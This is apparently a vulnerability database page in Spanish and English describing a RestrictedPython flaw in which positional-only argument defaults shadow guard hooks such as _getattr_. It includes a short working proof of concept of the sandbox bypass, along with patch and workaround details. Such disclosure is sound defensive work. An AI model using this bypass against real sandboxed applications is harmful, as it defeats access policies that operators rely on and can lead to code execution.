Alta

RestrictedPython guard hooks can be shadowed via positional-only arguments

  • Publicada: 28.08.2026
  • Actualizado: 11.10.2026 15:18

Impact

RestrictedPython rewrites sensitive operations to go through guard hooks. Attribute access becomes _getattr_(obj, name), item access becomes _getitem_(obj, key), writes go through _write_, and print goes through _print_. The embedding application supplies these hooks to enforce its policy.

Argument-name validation rejects these protected names for regular arguments, *args, **kwargs, and keyword-only arguments, but it misses positional-only arguments (the ones before /). So a function like:

python
def f(_getattr_=evil, /):
    return o.x

makes _getattr_ a local that shadows the policy hook, and the rewritten access calls evil instead. The same works for _getitem_, _write_, and _print_. Shadowing _print_ can also be used to capture the internal _getattr_ hook that RestrictedPython passes in.

The result is that sandboxed code can bypass the access policy the embedding application relies on. In applications that also handle sandbox-controlled objects unsafely (for example serializing them with pickle), this primitive can be chained further, up to remote code execution. That part depends on the embedding application, but the underlying guard bypass is in RestrictedPython.

Proof of concept

On an unpatched RestrictedPython this prints shadowed and an empty calls list, meaning the policy _getattr_ never ran. With the fix, compile_restricted rejects the code.

python
from RestrictedPython import compile_restricted
from RestrictedPython.Guards import safe_globals, safer_getattr

calls = []
def policy_getattr(obj, name, default=None):
    calls.append(name)  # the real guard records every access
    return safer_getattr(obj, name, default)

src = """
def f(o, _getattr_=lambda obj, name: "shadowed", /):
    return o.x
"""

code = compile_restricted(src, "<s>", "exec")   # currently compiles, should be rejected
g = dict(safe_globals)
g["_getattr_"] = policy_getattr
exec(code, g)

class O:
    x = "secret"

print(g["f"](O()))   # -> "shadowed"   (attacker's local was used)
print(calls)         # -> []           (policy _getattr_ never ran)

Patches

The fix validates positional-only argument names the same way the other argument kinds are already validated. It will ship in the next release.

Workarounds

None other than upgrading. If you cannot upgrade immediately, reject any submitted code whose function or lambda definitions use positional-only parameters with leading-underscore names before compiling.

Software afectado

Haz clic en una tecnología para ver todas sus vulnerabilidades.

PlataformaPaqueteVersiones vulnerablesCorregida en
Python (PyPI) restrictedpython < 8.3 8.3

Referencias

Puntuación CVSS 8.3/10
Vector CVSS
CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:L
Debilidad (CWE)
CWE-184
Plataforma
Python (PyPI)
Paquete
restrictedpython
Publicada
28.08.2026
Actualizado
11.10.2026 15:18

Fuentes y licencias

OSV / GitHub Advisory Database - PYSEC-2026-3917 - PyPA Advisory Database; CC BY 4.0

OSV / GitHub Advisory Database - GHSA-ffg3-p8fm-mjx2 - CC BY 4.0

Historial de vulnerabilidades: restrictedpython

Todas las vulnerabilidades publicadas de este paquete (Python (PyPI)), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.

Entradas en total
6
Primera → última
07.2023 09.2026
Sin corrección
0
Explotada en ataques
0

Distribución por gravedad

  • Alta 6

Divulgaciones por año

  1. 2023: 2
  2. 2024: 1
  3. 2025: 1
  4. 2026: 2
  1. RestrictedPython guard hooks can be shadowed via positional-only arguments esta entrada
    Alta · 8.3 CVE-2026-55830 < 8.3 8.3
  2. Alta · 8.3 CVE-2023-41039 < 5.4, >= 6.0, < 6.2 5.4, 6.2
  3. Alta · 8.4 CVE-2023-37271 < 5.3, >= 6.0a1.dev0, < 6.1, < 5.3 5.3, 6.1

Identifica las vulnerabilidades de tu aplicación

Con la integración de DockRay y el inventario de software activado, DockRay compara las versiones notificadas de los componentes con las vulnerabilidades conocidas y avisa de las coincidencias confirmadas. La cobertura depende de la tecnología compatible y de los avisos disponibles.

Conectar tu aplicación
Newsletter DockRay

La seguridad de tus aplicaciones en tu correo

Vulnerabilidades importantes, recomendaciones concretas y consejos prácticos para tus aplicaciones. Elige tus tecnologías y sigue lo que importa para tu proyecto.

  • Un resumen diario de nuevas vulnerabilidades, también las críticas.
  • Avisos sobre actualizaciones importantes.
  • Consejos prácticos sobre seguridad y monitorización de aplicaciones.

Déjalo vacío para recibir avisos de todas las tecnologías.

Suscripción gratuita. Date de baja con un clic en cualquier correo.